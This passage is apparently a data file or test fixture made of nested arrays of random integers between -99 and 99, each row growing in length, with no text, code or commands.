37,-75,77,64,-60,-37,24,71,-49,10,28,37,-69,33,-65,-46,-64,-37,-52,-95,4,70,78,14,47,-47,39,3,-42,-46,30,-2,-21,7,-38,-5,69,63,-34,97,-50,93,11,-20,3],[46,11,15,-91,58,20,-11,6,-25,-96,-47,27,19,32,62,73,-37,-40,-71,69,21,0,16,-39,65,-10,10,35,-99,67,-84,46,-22,30,31,-87,-50,-79,18,25,-99,47,-71,-4,-20,90,-31,42,-50,-26,-12,48,73,80,-91,15,-30],[-4,-72,-29,-60,-57,93,-6,72,25,6,99,22,-98,24,22,48,52,-82,-95,20,-36,46,69,14,-88,17,-35,91,3,56,-61,75,83,9,91,-97,-21,-15,52,80,67,51,-21,45,-48,-99,-29,80,95,-25,0,-64,98,-30,26,86,63,90],[77,-57,24,-84,-82,7,1,85,10,57,-30,-38,37,-85,89,-83,36,-59,93,-93,-79,65,-41,-2,77,-43,44,4,-57,7,-29,96,50,94,89,44,-21,-10,7,88,-76,53,-73,61,67,92,54,-19,-90,24,-13,-70,-10,22,4,-33,55,-52,47],[97,55,-81,71,-18,89,60,-97,-32,-73,9,-67,-49,-37,-64,88,-93,-72,42,-13,-63,-57,51,-56,32,-27,47,76,-71,72,0,-97,4,18,50,85,-15,10,64,52,14,-49,62,64,-10,97,29,-4,-97,-29,60,-61,-10,-12,-41,-77,60,83,75,65],[55,-25,45,-41,70,-5,-79,-45,82,61,83,-4,-88,45,-63,1,20,65,74,22,-87,34,37,2,98,96,1,58,56,-24,1,11,28,-77,46,-2,17,43,29,-24,4,12,71,16,-65,-92,93,54,72,67,-24,61,-22,-87,-36,-24,85,64,-88,41,-82],[-11,-71,45,11,51,-80,-95,-6,25,-19,75,-63,-71,-32,-52,-86,-39,-98,62,-94,-46,24,-40,-33,87,13,-71,28,1,70,22,89,75,-56,-23,27,-37,-42,97,87,15,72,-98,44,-60,-51,57,-22,-72,-4,-17,-19,-80,19,24,83,-68,53,-11,32,0,-89],[-2,-25,-45,74,78,-6,-90,53,-41,24,25,-40,-32,42,-15,-98,-80,12,-2,-21,70,17,97,-6,-22,-70,-53,66,38,46,53,-63,98,-92,87,53,-21,96,6,37,21,-68,73,65,50,-42,67,69,47,-58,-52,-6,35,-55,87,-87,-49,-88,55,89,57,9,-97],[32,-7,89,-14,71,86,91,-15,-16,99,-42,-51,49,-7,-84,-5,-83,-66,42,10,69,64,-26,81,-85,-15,14,-96,-80,-77,-94,51,-8,72,-86,-36,58,82,25,-58,81,83,-33,8,-47,-40,-97,-31,-7,22,55,-38,-14,-71,-79,0,14,34,-19,33,33,-37,-39,-75],[-65,-25,-12,92,-43,-86,-89,-85,73,-45,-1,-74,14,2,-29,-93,-99,-74,-54,-14,-46,-34,85,44,99,-57,-23,32,6,38,56,40,89,-78,10,-54,-88,-3,-63,61,51,36,86,-35,-85,-66,-28,-85,-41,17,0,-11,59,-38,-66,35,-18,-13,-33,87,-75,99,27,-86,97],[-86,-64,85,11,-27,46,-38,85,9,27,99,42,75,90,77,-31,-33,-33,-95,5,-23,39,86,63,82,73,65,58,-22,55,56,-9,91,18,78,-59,-35,-59,-97,73,44,-98,-7,-4,68,-30,41,-65,13,45,39,89,-16,26,53,-57,-24,18,-99,53,-50,33,-78,-82,-48,99],[-65,-7,-83,-63,-34,60,-85,58,-67,82,-94,73,-83,18,-5,33,8,55,-64,-62,97,11,32,75,-58,81,8,-60,99,36,-84,-66,-71,-67,-52,-5,69,-38,-70,-97,-55,-88,52,-62,30,-75,47,-85,79,82,-48,54,-29,83,29,-11,41,-63,28,17,73,43,51,-98,52,75,-27],[22,-63,-20,1,-42,-9,-70,-4,-79,-46,-80,-65,-66,-97,-37,87,-50,-77,16,38,64,29,-57,-19,-21,62,-91,-42,15,83,7,-86,97,86,14,-45,-22,43,27,-25,74,47,-13,-92,26,49,71,75,49,-36,-10,13,69,32,70,-51,-6,79,6,-91,39,-87,-78,36,76,12,68,-69],[-67,-5,-18,-93,-81,68,90,44,-5,61,-4,-56,-98,85,33,70,17,3,-81,-88,-41,1,96,75,-9,95,-12,-56,-16,-44,-26,16,51,55,-1,46,1,-11,-9,72,-73,86,-84,-95,49,25,75,-34,-95,70,-46,-36,-28,-49,-84,39,-54,3,82,29,59,-67,-77,-13,87,21,-90,-35,87],[0,-63,90,-36,-71,95,-87,53,47,-22,58,17,9,98,65,59,90,4,81,-7,-37,-13,-71,-5,-14,-8,-40,84,2,1,71,78,38,38,-58,43,10,-69,-26,-43,-14,-68,74,94,-93,39,30,96,-79,11,-34,-17,74,-28,55,-39,63,91,-55,-58,-8,92,-79,-93,30,-61,50,-82,-30,-76],[-26,32,-68,-75,26,-85,64,-44,87,61,43,-47,-79,-6,24,52,54,-35,43,98,-17,-87,90,3,-81,-2,19,45,15,65,45,65,-3,76,90,99,67,31,-68,54,-31,51,84,-11,-55,-15,-58,99,49,61,74,-90,73,42,12,69,-83,-92,-9,31,72,-63,-27,-54,-87,-37,-55,80,70,-47,11],[-61,-96,-5,5,-51,80,23,-75,6,-16,98,15,-65,40,-95,80,56,-88,-29,-36,61,7,37,-93,-3,76,-71,-46,24,-19,64,39,-38,-63,-56,10,-83,66,11,-1,-72,9,91,-61,-73,95,95,82,83,-34,-76,21,50,37,5,-53,-10,10,0,-86,90,-59,30,-71,-23,73,15,-7,17,-74,69,21],[35,60,59,61,32,54,20,-8,96,43,90,46,-20,-5,69,47,-95,-31,60,71,10,-10,-99,86,-59,15,-43,57,41,-97,-45,-47,39,90,-86,-29,44,33,39,17,-46,29,-36,33,-76,-90,-43,-95,-21,-82,76,65,-16,53,28,1,-55,61,-65,85,63,-11,-62,2,-21,-72,49,99,61,-11,17,91,94],[57,1,95,66,58,99,-78,75,52,86,-64,-18,-8,37,27,-47,71,12,93,-62,27,-5,16,54,-78,16,-8,-13,-90,-17,-19,43,84,-47,9,19,-70,8,-29,81,-6,6,-36,62,-80,90,-84,68,-21,-91,-94,82,-20,21,37,-22,-86,-94,64,-77,-34,-77,65,-73,-25,-48,45,-19,59,-84,-37,-70,-2,3],[92,18,-30,84,-14,25,92,-32,8,-51,88,-78,27,-97,-73,-9,-98,-8,-10,44,-5,42,95,-60,-77,31,-45,-38,60,30,41,29,-52,-89,13,10,13,5,54,-79,54,42,-58,-42,21,-55,25,0,14,-84,-56,-91,34,-61,-51,33,69,-20,95,6,-90,36,-64,-66,24,48,20,-63,-69,-26,-43,61,93,-25,-81],[-9,19,43,90,-90,35,-66,-81,-31,-51,-33,-97,94,23,74,-22,10,-13,13,20,-89,-62,-59,-76,-32,-9,-43,-94,-39,31,-76,52,-72,44,42,-63,-21,53,-45,25,-98,-2,4,73,98,-22,-49,8,64,40,-72,52,77,-55,75,-77,36,-67,-72,96,63,-71,48,67,72,-32,-95,-72,-79,-64,52,98,11,-44,71,9],[10,98,-83,-25,38,-79,-73,-7,-34,78,15,78,-89,19,74,51,47,0,18,19,44,-1,24,41,35,-24,39,-77,9,-12,31,-81,-37,47,-30,-98,67,-27,-29,-90,-48,85,87,-38,4,62,-87,-71,-61,8,47,59,-93,-29,0,18,24,-84,40,-67,3,-29,-72,43,94,-25,21,39,47,91,48,75,76,13,-85,-43,-48],[-96,-15,-10,11,-90,-74,-5,-43,25,-87,80,40,30,89,-79,77,94,63,49,-31,-16,-35,92,-25,-87,45,-72,2,59,-16,53,39,69,-80,-72,55,-55,22,-88,69,11,92,-13,-82,58,7,95,52,-53,21,97,30,85,90,81,74,35,-91,-23,-29,-31,-70,86,-85,-50,-86,69,-6,12,81,-59,-99,73,27,-82,8,-89,89],[-39,-43,10,-42,63,-5,-75,21,-30,36,6,46,83,74,75,70,89,-98,83,58,-27,-4,39,13,-4,-11,-83,-10,97,-73,-20,-65,-40,89,-31,99,-15,-6,20,54,-70,-74,-23,-86,99,-48,60,65,-69,43,24,3,-84,-60,-84,-12,6,-91,78,3,-65,-42,14,-29,-76,82,-30,8,-47,89,-61,-40,91,15,-50,90,44,-90,33],[51,52,-43,-46,45,-27,-54,-67,78,-46,87,-42,-35,-55,71,35,-54,54,81,53,-93,47,69,-34,38,-39,15,5,81,1,-62,32,-46,-29,85,75,44,-69,-92,22,-39,95,80,25,-83,51,-63,-38,-18,94,92,-34,41,38,8,-21,98,-99,61,80,1,98,12,31,-53,-25,6,90,5,14,-11,43,-14,-31,-32,-21,97,-18,41,-44],[-24,10,21,-82,-52,-93,-27,-54,-93,-89,-97,7,86,-8,-61,-67,66,44,-77,-52,-65,-12,90,-3,57,-64,76,31,17,-6,86,69,-96,-15,63,-49,-9,-86,-27,-26,-76,-47,80,-90,44,95,-81,10,17,-82,34,51,6,25,-51,-60,60,-98,70,-46,-5,33,99,-2,94,63,25,-38,76,74,35,76,-96,-7,63,47,-12,81,-66,-95,99],[68,33,5,-30,58,44,-93,59,-9,-63,-69,-99,-64,28,95,75,-70,-66,28,80,46,5,84,-61,-32,31,3,-51,42,8,-52,-13,-82,29,56,75,-50,62,11,40,98,41,18,-89,-54,-10,86,-48,23,14,-68,-31,95,-84,-16,-37,24,87,-11,-34,-28,13,52,-11,-57,8,-59,-8,-53,28,-90,-78,-31,27,-68,-9,93,94,42,16,-14,73],[62,-19,89,-54,44,-10,-67,-67,55,4,45,-16,69,64,68,-90,-66,-85,14,-80,-87,59,23,-79,-50,16,-84,91,-91,1,42,70,58,8,-83,2,97,-74,11,29,30,-66,-87,-24,97,80,-37,-92,71,76,-73,83,36,49,80,85,-58,95,54,-49,-27,-4,-79,-68,80,-86,10,77,-60,98,-17,46,-68,-5,-78,-94,-48,-16,-86,-77,-62,-83,82],[73,43,62,35,84,58,-34,-65,-92,38,-67,-84,18,-54,3,-28,-15,1,54,-69,32,-51,-70,14,0,-10,4,-1,27,21,-19,-23,-59,-56,-87,-75,78,-45,-63,62,93,-31,78,11,14,-42,83,76,58,14,-93,-33,63,-87,80,-60,3,-15,39,-93,82,96,-16,99,-60,-27,-76,94,27,-63,57,20,5,12,-91,96,69,91,72,4,-18,55,70,-78],[68,50,-38,-52,-88,77,-46,70,73,37,69,90,-90,70,61,37,-93,18,-43,-11,-93,-35,-15,52,-67,-66,-44,-8,88,-74,13,56,53,74,80,64,28,-65,35,-21,71,-19,-54,58,-49,-93,-5,-65,2,28,23,8,70,84,-62,79,-82,-7,-29,82,19,84,16,-28,35,-4,-87,-59,30,24,19,-21,-94,41,-63,-67,47,8,-56,-74,-64,43,34,82,27],[48,62,21,-59,-90,-19,59,70,96,-92,-17,-8,97,0,99,21,95,-22,3,36,14,36,-40,98,79,-14,-66,23,96,93,-73,44,32,25,84,41,-94,21,-11,-98,5,48,-30,2,-52,-31,-76,-57,23,26,78,-86,-61,-62,-88,95,23,-77,-5,-4,-84,21,-60,47,-54,-75,-35,-72,22,53,-94,-73,1,-24,29,25,21,52,67,-78,-45,22,-65,-29,60,-76],[-34,-40,-54,60,33,-39,-19,72,-92,4,73,-51,8,-5,-97,14,22,-20,89,-49,-94,-13,79,49,8,-66,-28,20,4,-91,43,69,-55,88,6,77,-74,87,27,-90,-32,0,-42,75,95,-63,-11,17,-6,-45,67,-24,19,46,-75,-96,56,-27,23,-39,-19,-57,-93,3,-92,13,-43,-67,-23,83,-81,21,-16,-23,-27,-21,-10,39,72,83,70,39,-41,-11,-38,-39,-30],[94,33,92,-68,91,-87,-61,-6,-80,28,27,-70,81,11,-52,-21,94,24,51,-50,91,-10,-78,74,-62,37,-89,26,75,-29,95,69,80,65,-98,71,77,-83,-58,73,44,69,-97,2,-20,-49,80,-49,51,8,0,42,75,-2,17,-87,-65,4,15,-90,74,11,78,54,-47,56,3,-93,72,21,79,-7,-10,82,94,46,-90,51,73,60,-63,-50,3,-88,47,96,-76,58],[0,38,67,-49,-74,23,81,-22,-21,-16,-39,-71,82,-59,21,-51,99,-7,72,-91,-79,45,45,-43,95,-52,-32,19,-79,-32,-22,-3,-93,-78,47,-91,44,29,-36,-99,89,24,-94,71,41,26,-79,40,95,92,25,93,14,-29,-50,-14,-5,-5,-94,16,62,-40,89,45,-19,14,54,-97,-80,-82,79,-91,18,84,57,-40,10,54,76,-17,23,2,-24,-86,49,2,0,-56,96],[-18,36,36,41,26,-19,98,-60,-88,-99,-41,-94,79,-56,24,63,77,60,-49,8,36,10,-69,-85,62,-55,63,-36,21,-92,-62,-97,20,73,20,-54,-46,-5,-38,-57,-27,-3,-52,-71,18,48,69,-5,8,-80,-96,-78,6,-89,-64,-32,-45,76,31,52,60,68,31,-20,41,-49,3,72,23,64,91,95,-61,-61,-76,56,87,92,-49,-28,88,-69,-7,-6,-58,6,61,-4,-41,-30],[-74,-81,-85,56,-2,33,84,-99,5,7,42,-27,-21,80,11,2,13,-25,-28,63,24,-40,94,93,31,-64,-1,-31,8,57,38,33,52,30,-10,-49,-37,-26,-72,44,57,46,-83,-64,3,27,14,-84,79,85,79,3,-77,50,-4,53,62,72,-78,-30,6,37,80,-41,-33,-53,-14,29,-3,-10,-50,-46,-63,-34,-34,39,69,79,55,48,65,11,-72,87,-39,24,17,99,-27,15,-54],[55,-48,-74,-86,-5,-51,-24,-99,45,66,-50,75,79,15,-59,18,-38,-79,-50,-90,62,60,-62,49,97,38,-34,96,87,57,-80,42,-90,-55,33,-19,-29,85,-41,-84,51,8,91,7,-99,-91,-74,-38,-71,-25,-52,90,-87,-38,16,86,76,58,60,63,16,79,-17,2,-99,92,59,-29,77,-82,-36,6,3,-45,-87,3,-60,-85,41,-54,-10,65,-87,-21,-72,29,-35,-96,-36,-75,44,56],[-96,-96,-65,81,95,94,-48,49,-88,15,-45,14,46,-32,93,86,-41,11,-68,25,-23,-56,-96,4,49,-54,-16,90,-30,-95,46,-49,-92,81,-68,79,75,-40,29,63,75,83,-45,-2,-72,-52,-16,-13,59,-8,-88,-87,13,92,-7,-38,-62,76,-48,-16,58,75,34,42,33,42,22,8,-97,-72,-52,54,87,2,-48,92,50,36,-44,-14,-95,-56,-2,17,-64,90,79,-50,43,-92,34,-22,59],[-55,-79,-8,87,19,76,66,23,-75,20,10,26,71,-21,-47,7,34,15,-11,78,-87,-94,90,79,61,-59,0,46,51,77,5,95,74,97,59,-7,73,25,-84,74,-55,3,-22,-83,81,7,0,-7,-77,88,-29,-88,94,-62,68,32,-22,-32,-22,-94,-78,83,-98,96,57,60,-34,7,-14,-41,-18,30,61,36,23,19,-57,-76,-88,-35,88,-41,-23,82,-3,-55,15,51,-11,69,57,10,52,58],[6,9,-5,72,-83,57,-69,-25,-35,68,-89,87,-13,-47,87,-24,-5,76,34,48,35,-69,92,-73,82,-42,96,39,67,25,-26,-49,-65,45,99,-72,3,-70,-21,44,74,-34,31,-62,18,-4,13,89,-28,-52,37,-93,-22,6,-89,-40,63,-93,75,8,31,-74,58,42,48,57,46,-49,63,-98,71,37,-33,2,74,62,97,-12,51,-54,35,-11,-70,89,94,-60,-73,58,-77,-98,-57,53,-95,-99,-27],[52,57,95,79,-3,97,50,-66,-36,-71,84,-74,-96,-28,77,-51,83,-57,-22,73,-63,-6,99,71,16,77,-86,-53,81,90,-4,10,24,-9,-11,-79,-35,-84,-69,29,-55,-84,31,-52,-36,-15,-27,-52,27,28,97,41,-78,96,12,15,50,3,61,9,-7,-66,-81,-82,24,-15,-62,66,0,-31,-5,21,-16,-97,68,24,-35,-58,71,91,69,68,32,67,41,-78,-18,-8,24,-80,77,-83,-47,95,-66,54],[-43,-28,20,57,17,91,-22,77,70,-76,1,-65,-58,-27,-96,87,-82,35,54,36,56,-86,-95,-20,-90,81,-26,-60,53,7,93,-89,55,-10,67,-51,-42,-78,-74,-72,-78,27,-60,-37,76,-57,-50,70,54,81,6,11,71,-13,67,80,-32,-59,-80,-78,25,89,-68,-20,-44,75,29,-10,73,31,-5,95,-65,34,-42,-89,76,-15,58,30,-57,-59,-82,-86,28,62,70,72,79,67,70,4,33,-98,61,66,53],[-33,-44,27,74,50,-1,-90,-16,56,96,-63,-82,54,44,-40,95,38,-50,0,0,97,-28,-43,64,-57,60,-26,-79,-2,-60,51,41,-4,-22,16,-54,53,25,7,9,21,20,4,-47,-59,40,-75,79,67,24,-44,64,72,12,5,91,-50,78,89,47,-81,40,-11,-9,94,81,13,47,6,-80,-67,-96,17,36,-44,57,-46,-20,13,-79,80,69,84,53,-19,-34,21,7,-56,10,-45,-61,-50,20,29,-79,-22,-80],[67,83,-61,-99,63,32,13,-80,-10,43,-24,-97,63,-43,48,24,86,-70,89,7,36,-89,-82,67,-74,-56,-36,32,-58,41,51,-91,1,66,85,-35,-1,-24,-39,65,-81,36,67,59,92,16,-40,78,22,-73,-14,-65,-63,-20,79,-38,0,-80,70,18,61,21,27,-61,-12,-11,3,86,41,63,51,37,-23,-5,-27,-31,87,32,-52,-14,58,10,-2,71,66,-23,-66,-57,-4,-96,61,-66,2,-35,-50,89,30,29,52],[-51,-30,-20,85,46,74,-65,-85,39,66,-61,-75,25,25,22,-4,-32,75,6,11,-51,-13,-51,-41,88,-10,8,54,-80,-62,6,-55,7,85,-93,-70,36,-59,-56,-25,-92,-40,-23,9,84,75,81,-70,51,-12,17,99,51,65,-42,16,-68,43,-53,-72,80,52,-27,-36,14,-21,-7,-73,20,13,-21,4,72,55,-87,34,7,93,40,-42,-42,-43,-66,85,98,-31,1,-70,-88,47,-43,68,-24,6,-68,66,85,1,70,-18],[90,-51,85,63,80,74,-26,-13,44,-86,22,-97,-53,55,64,-55,-76,-57,-26,-65,66,7,79,-80,-86,-89,85,75,-12,55,-66,-21,80,95,-81,37,69,-31,-75,13,-18,23,-8,5,-22,-66,49,-21,-24,99,-10,-58,6,-30,-39,-4,-20,-76,-52,45,55,-19,-99,36,-24,-81,-50,-55,-13,-26,35,45,73,-96,-50,-48,-63,75,30,-11,74,-80,31,-43,-11,68,30,46,91,77,-32,47,-41,-32,-40,11,-14,9,33,49,60],[-32,-29,33,-52,20,61,-38,-28,-32,50,-54,-12,-42,-21,53,-73,-91,-24,-82,63,20,41,-78,87,77,9,-50,-13,-58,98,-76,-14,-31,56,34,65,-5,95,-63,62,22,-41,-73,80,38,57,-93,23,-67,-99,-14,53,42,-16,17,-4,93,67,82,-65,42,82,21,-88,16,-68,53,-89,-96,67,72,25,-74,99,-18,40,33,-12,-36,65,-34,49,-5,84,-89,-87,-20,-96,56,-60,-85,-2,-78,35,-14,37,43,-83,47,46,83,-3],[-51,85,-27,30,26,-94,95,89,47,-39,15,-80,-78,2,-91,1,5,64,40,-3,-61,62,-91,2,-24,52,18,-76,-25,1,-3,23,-14,69,-69,88,51,-74,54,-2,-37,-53,-6,-16,48,2,84,-69,-34,2,27,-18,-59,35,83,16,-36,1,16,39,78,-87,-38,-59,58,-31,-70,-14,-6,83,84,33,-70,-45,93,55,57,55,85,-77,-43,12,4,-3,-76,-36,-87,-12,64,29,-73,42,18,-35,60,-23,34,89,39,-95,49,0,15],[56,55,8,11,12,-37,-4,11,-4,84,92,92,-92,-44,82,-28,-79,-12,-2,39,82,40,-1,-64,-49,-35,75,-68,-85,-25,46,70,-70,-68,-19,41,-6,53,-47,90,37,-55,59,21,0,18,93,-3,82,-32,-63,65,84,12,-99,-65,77,52,-33,68,-72,89,15,-43,-79,72,75,-8,25,-72,-41,-61,-51,94,36,48,13,29,-77,-28,74,-41,-63,35,47,-85,70,1,66,-86,-31,70,79,83,-72,-99,55,-97,-8,-43,-93,50,-5,-45],[21,-91,79,-66,37,78,-17,-12,-86,-4,-76,61,10,70,-38,-46,60,8,-99,39,-32,-72,39,-76,-93,-92,-43,89,34,29,-79,-44,37,77,-34,-49,55,48,39,69,-55,39,7,31,9,45,61,-31,-47,62,84,21,66,24,21,73,8,77,39,-80,-17,60,-25,-80,14,17,-29,-54,-34,86,-85,10,25,-2,-82,-89,-56,79,-44,-27,41,-60,70,7,40,-9,-43,-51,-54,73,-32,28,10,19,25,-76,-64,95,-31,-22,81,-39,87,-17,58],[82,-7,78,61,48,-71,-21,64,98,62,5,-33,96,53,-11,69,97,93,-21,-7,18,2,28,-10,47,-93,-52,-92,70,30,43,52,99,-2,-10,24,26,45,-11,25,8,93,68,4,23,-43,-27,-3,-50,28,89,68,-93,-6,-42,53,0,-17,38,-52,-87,-19,76,89,55,-56,13,-18,88,-98,83,-4,71,51,76,-29,-92,-74,67,-66,53,33,-98,59,-72,-63,-10,4,19,-72,51,8,8,5,-3,-60,48,87,21,13,88,4,86,37,-68,62],[-92,-61,65,75,-27,18,-15,-49,-45,12,-36,44,-83,59,71,44,-55,-44,-51,41,-5,73,28,-83,-13,-6,-3,-27,-69,29,-88,-85,44,76,66,93,-28,-48,-55,26,63,-15,-30,56,-55,-59,1,-11,-27,49,-93,44,0,12,60,86,-94,-65,-64,-87,40,-53,-73,-16,-99,93,-22,-28,-78,-1,97,84,60,-56,41,-95,-39,-81,-30,33,44,-46,-23,-56,65,-85,-93,70,-74,-58,59,65,-34,85,-74,-57,55,-20,14,53,55,-12,38,16,31,-44,-3],[91,-26,67,1,-82,97,77,-61,62,68,-55,9,93,-36,-32,35,6,-70,61,48,62,-59,-61,15,96,26,-70,-11,-66,-15,85,-98,35,29,2,30,26,-44,45,-12,-98,89,96,71,-70,-36,7,12,-29,-55,-63,-67,-38,-25,47,-65,77,77,23,87,-61,9,88,51,-62,-33,-19,64,23,-97,-71,24,68,-74,-5,98,-34,78,10,36,-77,47,45,-15,98,-7,19,53,-30,-80,40,-15,28,29,-64,42,95,-7,-17,-5,-5,-11,95,-36,-9,-32,-61,56],[-54,25,-30,-54,-51,-85,7,-75,-16,-74,77,30,-78,17,-84,26,-77,-49,-31,95,21,28,-33,-84,-83,-37,-44,7,7,-29,-59,52,96,-13,74,-78,-22,-19,-54,62,-16,-77,-31,5,17,-16,-68,16,12,-23,-12,-67,81,55,-75,98,94,-42,-18,1,28,22,-70,24,85,81,46,-36,-38,68,-97,45,91,-29,-72,-15,32,-41,77,-56,12,-34,-24,-7,97,-23,-32,91,34,50,-31,-37,-51,-25,63,-65,-44,-14,-25,18,-45,-23,-60,-77,24,-33,-16,-44,2],[-39,-1,-86,26,51,-16,23,-71,51,-9,39,1,59,-98,50,-65,42,84,-33,-72,-64,84,-41,12,-98,-19,-87,-32,41,-31,70,-97,67,60,28,-4,-56,-71,1,95,19,-60,-27,-44,-81,-77,-33,60,83,33,64,-81,-5,-76,7,-4,-19,20,40,-77,88,10,-75,32,-52,29,-95,-32,34,5,-37,-46,22,36,-14,40,35,52,-23,-4,-15,-59,14,56,-59,98,-48,22,18,92,21,-17,-21,45,91,3,-49,73,71,85,-22,-66,-84,76,46,1,16,-41,-70,69],[54,-9,-89,-55,-52,-49,-57,-24,49,37,-55,-30,96,24,91,65,-73,-57,38,74,-95,92,85,96,69,31,-26,-15,66,3,-45,20,93,-58,65,-59,-31,-92,-6,-81,22,38,-35,18,-38,-43,-17,-34,-24,-79,-83,-20,90,-98,-47,59,10,26,-79,-24,-71,-48,96,-78,-7,38,-60,62,22,33,57,-56,-52,-78,62,10,-45,-78,52,30,-80,68,86,-90,47,-61,68,-43,64,88,32,69,-59,5,68,10,-57,84,-51,65,-6,82,-91,41,81,47,-72,-64,46,79,43],[65,25,29,51,-28,45,19,5,-14,-16,-63,-44,1,19,-99,88,61,84,-63,3,-22,96,-11,-81,77,-64,-53,-87,81,-97,55,23,4,-38,-26,52,-93,69,-43,-31,-69,-29,24,8,89,1,-4,27,-15,10,-69,39,6,19,58,-17,31,81,-28,-10,83,-72,89,-12,-34,-36,-83,-28,-90,-26,40,-60,21,-58,25,10,19,-79,-86,-95,30,-56,43,-87,39,-22,-28,-52,-41,44,37,-80,48,3,-16,-86,43,0,-38,53,50,78,69,-29,96,-6,57,16,-8,71,20,98],[91,-60,-88,31,18,-17,55,53,-96,-31,72,51,71,-67,41,15,33,-97,-55,-17,58,-86,31,54,-15,-12,-30,76,-41,66,74,-49,-93,62,58,1,-77,13,-69,-74,81,80,54,52,-87,-28,-56,45,-25,-12,-94,-90,-21,36,63,63,-99,-66,16,-40,99,-33,-13,82,-93,-55,-40,-71,57,-9,-69,15,-29,84,-56,-17,-43,-12,-94,8,52,87,17,-69,0,-43,70,0,-10,-37,36,-33,7,-77,-74,13,-33,-14,41,-99,53,48,15,-76,33,36,-17,66,-76,-35,-49,75,-48],[44,83,28,-99,30,-71,-32,93,41,11,0,64,13,-87,-92,75,30,-91,28,-22,0,51,87,-64,-88,30,-64,-24,80,88,28,1,71,-67,-21,-22,-62,23,-29,79,-66,47,43,23,36,50,-1,-34,35,-73,21,-87,55,-15,-52,66,-84,-16,-58,72,-51,46,-26,-80,79,29,-3,-83,-48,45,72,-38,-8,15,84,-94,-57,-17,-52,54,10,68,66,-35,-46,-85,-69,-54,-25,-51,-82,23,95,-32,19,51,73,92,44,-75,14,17,-14,83,-68,-52,88,-49,30,-64,-94,-83,81,71],[-42,-88,62,-35,-43,-86,14,-49,36,-14,19,-68,-63,-8,-98,80,-6,15,-3,56,-2,6,-96,-14,33,11,-1,38,27,-20,-13,62,-9,-74,-73,47,-60,40,97,52,-97,-7,84,-61,62,85,96,-44,0,-30,88,75,52,92,-39,-14,-20,59,-99,-93,-84,-13,68,6,13,72,-70,52,-11,-95,4,-8,-3,-35,7,-64,-50,-20,-32,27,50,-43,2,2,-74,39,64,5,-24,65,-12,-9,-48,-43,74,41,-94,-96,-30,-6,84,51,85,-41,-84,-30,-6,-57,49,62,46,-24,95,-75,55],[-79,63,19,25,-61,-16,-87,7,13,-54,-42,-69,-49,-39,1,22,-77,-71,-16,-19,-79,53,74,-37,-20,13,85,55,8,-90,10,5,50,-93,-93,65,-10,-80,-28,79,-58,29,-89,-30,67,-12,68,89,-7,-48,-53,13,82,97,53,-38,11,38,93,95,25,-19,-22,-25,-13,-16,-60,53,-20,-11,33,22,-82,20,68,61,84,36,27,-23,87,73,89,46,71,42,-92,-41,-42,-98,-69,82,-18,8,-43,45,69,-27,-2,-51,61,-69,47,56,27,15,17,11,-72,-78,87,-84,71,77,61,42],[-4,46,77,53,24,85,12,82,-7,45,27,-61,-81,-75,-12,56,-67,-65,12,59,27,-93,-29,54,-72,-42,46,75,-88,8,18,8,-69,-28,-62,54,-43,27,13,27,-28,-60,65,-10,-59,-70,-76,-27,-35,35,-67,91,18,3,45,22,37,-8,-2,49,76,92,-66,83,-36,-52,14,-2,74,-73,-98,-53,-57,43,13,-17,73,36,56,-62,-51,65,-94,66,-32,27,-34,81,95,63,30,48,55,40,31,95,65,-78,-30,39,-52,-29,62,-10,-85,-47,50,87,65,-17,-98,-86,-52,-93,57,15,10],[99,-27,6,62,80,-46,-6,20,62,-11,-15,83,59,-98,-91,-70,40,-25,-79,92,-75,-92,58,7,85,48,31,68,-18,-77,-21,-19,-4,61,-57,-24,91,13,72,53,-97,-42,14,61,-64,22,67,75,73,65,68,75,49,3,-41,35,-49,90,3,10,-87,81,90,8,42,-89,60,11,23,33,-36,2,67,54,-60,-97,-47,84,54,-73,49,22,-98,-2,-98,-40,-90,-70,-73,13,39,-60,-29,6,24,90,16,-15,1,-83,-82,41,-5,84,-4,35,63,48,19,17,51,-32,-83,29,42,-82,66,52],[-53,92,-58,85,-91,-11,-31,33,-44,84,-82,33,77,-88,-25,-27,95,47,84,58,-28,3,-25,-99,47,-9,29,-34,-14,-5,94,32,-12,-87,-5,-4,2,63,-94,34,24,99,-32,-21,-89,19,28,82,-34,12,17,14,-85,69,14,38,-63,-56,-96,22,38,98,-68,-97,-89,26,-24,-11,-34,-19,-76,66,-19,-9,-55,-32,-90,72,-49,-48,-16,67,65,-25,13,-20,89,50,0,93,-28,-85,68,3,-82,55,-94,-7,-78,-29,50,-78,-85,-92,-11,-41,-24,-2,-91,3,26,-8,-30,-32,44,60,24,33,10],[-76,3,81,-61,-52,-38,-67,80,-56,25,78,-8,-48,99,6,-40,-12,64,12,62,72,-85,-12,-58,-16,32,62,-56,-43,-28,30,-20,52,-11,18,76,50,50,56,70,-48,11,-38,-19,10,44,40,74,9,-48,36,-42,-34,-99,-24,26,33,-85,47,89,-13,-46,-54,-84,42,64,91,-31,-9,25,-60,20,-64,-22,-99,46,-77,17,20,8,45,-66,42,87,-66,-81,-10,43,-90,-86,9,-4,-32,55,-12,-90,-4,-20,-21,86,-95,-5,-17,-60,72,-40,62,71,76,-40,-21,21,-30,-78,-15,-20,-83,75,-76,-74],[88,32,-1,-44,-13,63,-57,82,-57,21,46,-53,92,-94,-36,64,-34,-97,36,-58,-61,91,40,8,89,-75,65,-94,76,88,-91,65,-3,-16,97,61,-53,-60,20,-33,37,-34,-10,29,-51,30,-29,14,33,83,55,48,74,-28,-66,64,-26,98,46,-50,86,31,-85,-40,91,-87,-79,-84,-71,41,-18,66,83,71,-5,-68,2,65,45,-88,48,-22,36,0,49,69,-59,-77,44,86,-27,7,-5,-36,67,-37,-47,87,-22,-18,5,36,-52,-11,-15,42,20,63,-15,-57,74,-67,20,-13,9,-31,-66,49,-31,77,36],[18,-15,-92,81,-48,-30,-65,-84,25,16,21,-39,40,-90,45,-41,6,8,43,48,-41,53,-55,23,-38,-9,56,-88,59,33,24,-23,-82,31,-42,-54,77,-31,-38,2,61,82,40,1,91,-15,60,-26,70,-20,-77,-94,-67,-33,28,-28,57,-16,-17,-7,-82,-93,46,-88,14,81,-42,-32,-50,-4,47,88,-22,-13,-11,-54,48,-74,19,18,-17,18,1,15,62,-71,63,-4,-10,-54,89,-16,-71,35,-5,19,16,29,87,43,-75,34,31,-21,97,96,24,45,99,-56,-59,-18,38,41,73,0,46,37,96,-64,82,62],[-4,88,-3,68,7,90,-3,-29,33,-1,81,-59,77,78,-63,-21,24,-87,22,64,-6,-40,-18,-32,37,-72,81,33,-59,40,-5,36,28,68,4,-87,35,78,-17,-55,-23,-35,-15,-69,-57,-1,9,43,11,-92,-16,82,-55,65,-73,81,